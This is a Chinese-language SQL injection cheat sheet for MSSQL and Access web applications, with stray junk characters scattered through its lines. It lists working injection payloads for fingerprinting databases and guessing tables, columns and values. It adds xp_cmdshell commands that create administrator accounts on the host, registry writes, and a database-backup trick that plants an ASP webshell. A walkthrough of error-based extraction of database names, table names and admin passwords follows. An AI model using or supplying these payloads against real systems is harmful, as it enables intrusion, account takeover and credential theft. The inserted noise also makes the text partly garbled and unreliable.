1.判断是否有注入
. F w9 B% \( O! g0 C% F; K% Q;and 1=1
( X r0 n1 o, X& A;and 1=2 4 [/ A% H% ]# N5 ]2 [* q* J. w
7 W1 ~+ \( V" |" {/ q
2.初步判断是否是mssql
- s2 _+ Y: X. D" T$ t6 Z;and user>0 % x( }* `% F9 _8 b& ]
4 b* F/ X6 ]- `* g: k9 O3.判断数据库系统 0 N/ k$ s2 O& s( @' O& E
;and (select count(*) from sysobjects)>0 mssql " {% C! }( z2 H/ q/ [% A
;and (select count(*) from msysobjects)>0 access # H* C" N& o4 {0 \
1 l( n; N$ h& q8 l/ ]4.注入参数是字符
% V/ A0 E4 ~9 r) T; l# G! C'and [查询条件] and ''='
s3 Z4 c: J2 X5 a D& z
K: P$ Q5 [, S. I5.搜索时没过滤参数的
9 t8 A6 J4 J( N! S3 H3 b* U+ V- T' S'and [查询条件] and '%25'=' " l! f2 V7 _+ |0 M/ F
4 C1 A( c# J9 [. U
6.猜数表名 ( |+ d& n' G( r- f _" c
;and (select Count(*) from [表名])>0
6 T+ o7 K$ D( X u& ~
# @2 M. W3 s" b$ b1 Z% e2 K/ w9 w7.猜字段 & B" e4 P& E3 |/ A9 L$ h
;and (select Count(字段名) from 表名)>0 * c/ {0 [: g; e2 b7 a
7 E# O8 [5 t- C5 A2 X
8.猜字段中记录长度
. y2 D/ q$ T% K( n;and (select top 1 len(字段名) from 表名)>0
- |5 d- m( C4 V
4 N M5 i: _0 I% e( O2 [ m9.(1)猜字段的ascii值(access)
: Y* A8 \2 o2 V;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
9 x7 G* p4 Z( l' ~4 E
$ T$ n' C$ V+ w/ @(2)猜字段的ascii值(mssql) + q. J) D, J( r, P- Y8 }4 g
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
0 m1 ?$ I4 v" i8 o9 G, [) C- Z0 Z5 g0 R1 }% {- |
10.测试权限结构(mssql) , x$ F8 U* T/ k) v! K1 e9 x# ?: R2 g
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 7 z+ f4 k9 Q- r1 O
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- & {+ H4 G$ P( Z2 L8 K% n, D
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- % p+ t) F: c: p
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- : Y8 C: N; U8 }) B0 v& P# J& t& D
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- " x( r5 y9 m3 a; `
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- . Y* l2 O' a' a& M* Y1 [
;and 1=(select IS_MEMBER('db_owner'));--
/ n. Q$ ^- c/ s) L% i) N, C
% Y( i4 a3 v, P. g, `9 U- a, c11.添加mssql和系统的帐户
) t. O9 [( s# ]2 v1 B% c;exec master.dbo.sp_addlogin username;-- " l& u1 E4 _6 X3 x% `8 R* i
;exec master.dbo.sp_password null,username,password;--
[) [0 c% s3 h( Q5 h;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 9 d b& J+ X4 a5 p# j) \' L! [
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- ; k, C- K; M* f
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 6 v) |$ v" V- `: s8 U# D
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- , A: P9 O" j) M# \: ^
0 o' n* l( \ E- B U# h- _12.(1)遍历目录 : q: z" N; c# y7 H9 @) H
;create table dirs(paths varchar(100), id int) & a4 u0 [; }2 Q
;insert dirs exec master.dbo.xp_dirtree 'c:\'
' h/ p) Z( t/ E0 i" j9 v7 }- `% M;and (select top 1 paths from dirs)>0
7 E9 v2 O' o, l% r w7 N/ c;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
) J( d* T- U7 @! z. M
! o% J9 s1 m8 u( ]" n(2)遍历目录 4 ^% u: h8 w2 l( H: ~* K
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
2 ^# P+ v1 G+ k/ q& x$ i+ F;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 3 V+ i7 N% Z! `1 B4 z
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
; v m6 H3 g! [6 {;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
6 O! a5 @$ M5 s;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
- r; V4 [& ?- ?
0 H# y" e* H% B4 r6 R0 B" ]0 H13.mssql中的存储过程
) ]% B- j* {1 _0 d- K6 a+ Oxp_regenumvalues 注册表根键, 子键
/ F ~8 l" T( Q$ G# k4 y% r+ U;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 5 j' n# W$ }* ?# @7 z( C
xp_regread 根键,子键,键值名
- b: d N: M/ X* n! N9 I3 k;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 6 \/ D9 Q% B; A: X: O" f
xp_regwrite 根键,子键, 值名, 值类型, 值 . q! L, Q) d8 D
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
2 E, t/ o, ]) ^% j$ s: G% p1 I3 ^;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
/ ]' S- Z& j! x& Fxp_regdeletevalue 根键,子键,值名 4 K$ \' B2 O7 Q
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 2 U) I% l( A4 M9 n
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 & Z* ? [2 C8 d- F( [# k" Z- g
0 A( ~; s- Q5 K& t2 G, k
14.mssql的backup创建webshell 0 U' x/ f5 P' ?; p. o3 d
use model s: H1 }( J4 H- T
create table cmd(str image); 7 L9 U3 i- g' v3 u# E6 p) O* z
insert into cmd(str) values ('<% Dim oScript %>');
0 L& N" O% P" v, `# Obackup database model to disk='c:\l.asp';
& ~& `5 C$ N$ ~3 g8 [6 u7 E8 o, J' Y7 o8 S' j& ~$ ^" b% W& P: x3 V
15.mssql内置函数 ' O% K) r+ K1 B# B- d% R7 v
;and (select @@version)>0 获得Windows的版本号 ' p( Z5 Q' K6 g9 w; E7 T
;and user_name()='dbo' 判断当前系统的连接用户是不是sa . i0 w r$ Y% ]' a
;and (select user_name())>0 爆当前系统的连接用户 : K9 J4 U9 Z( q1 C
;and (select db_name())>0 得到当前连接的数据库 # ^ y4 r* W6 M S4 y& O
% G5 }1 a {) }/ a/ ~0 ?
! y$ C9 z' }/ h+ R# Y
+ ?0 E* j, [" ~* a* o# T2 aMSSQL手注暴库
& m- S2 t4 d2 l- {: c
. a I3 R9 Y+ s) s3 T1.暴出当前表名和列名- @- p" [7 \) u+ C8 e- b% M
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。2 Z: Z V. l) Z, B
4 d: I7 W, P, Y' ]* p/ O6 L第一.爆出所有数据库名. A& D5 l* [0 s. R- z9 ?
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
( o! N: [" E# `( d0 m第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。' H" o2 |$ H3 y4 n9 |
1 Z9 X( |+ |1 ?- z8 fand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
+ H* X5 W0 F% }3 N: c
* J5 L4 i; H) K y( a( H; l' I* L1 |7 w7 M
第二.爆出指定库中的所有表名. M' s1 }6 d8 A# G) Y0 k$ q: D( ~
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
3 t. ]- f, R* Y8 } H3 q再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
" y' J- Y# l5 U. I9 b
~# J6 {0 E! w0 u, y* n% |2 N3 \and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--3 |7 ~+ U8 N7 @+ B4 B* N f- i* [
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--, a% W9 U7 `' K5 E0 w ]+ i
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
2 j5 l% @) U5 m' w+ T! V. |' v" i( V
4.爆出指定表中的所有列名
+ @8 a. P3 [- R# `, x3 z$ M" hand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) ' d4 e9 h4 R7 ]3 w" ?
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
3 k6 G/ z/ Z1 m# ^- t3 ~- p: b4 D0 v% O. _
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
" v F6 P* W- y# ~: R0 d% X
& O: Y) z2 ^6 t1 O( A再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
' B" k/ z) s& u# k依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
k! b E9 D6 I0 w. P& L% {! ]6 t u6 T3 ?! f
6 D O; Q; F0 O$ C) e+ y$ P# V/ O$ @/ r
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值7 G ^/ d P! A9 F4 M
3 N3 J# K6 T* [( M" I: oand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名% d6 F) ~5 g$ b2 ~/ u9 f% r ?
( N/ a2 ^8 [: I/ Sand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- # `' ^1 S) n1 E. D4 n. e
+ T/ s! D5 }2 {; \, p* ~
( G8 p3 e5 l: U: E( H
N+ s7 B4 g) l5 G' a( w5.读取指定表中的数据
& `7 M0 z6 \; e3 u
& w8 F8 t! l$ {4 u& fand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
% u4 r& o- D0 n3 q* @
$ M( u+ \. O l* m# Band 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--6 X/ s+ `5 c% T. _# c' n% G6 _
7 w4 w9 t- Y8 j) K1 P1 O! U! ]; Jand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
8 @5 p& Q! l5 u* G5 w% ]4 z. P/ @2 n9 \3 U( C o# t2 L6 p
' l% Z. v& Z2 a* n% yand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
* ?, N) f5 L X# g6 F% X# t8 U* T* I( c+ W' e+ v5 ]# H
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)1 F3 J/ Z( |. I* M
7 p. x% P+ |3 _6 z$ l+ |! kand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
- }! [7 {9 r' V! H' C( T/ E
6 y; X. I* ^+ c' R知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。3 X x! ~! ~! h* s9 c
|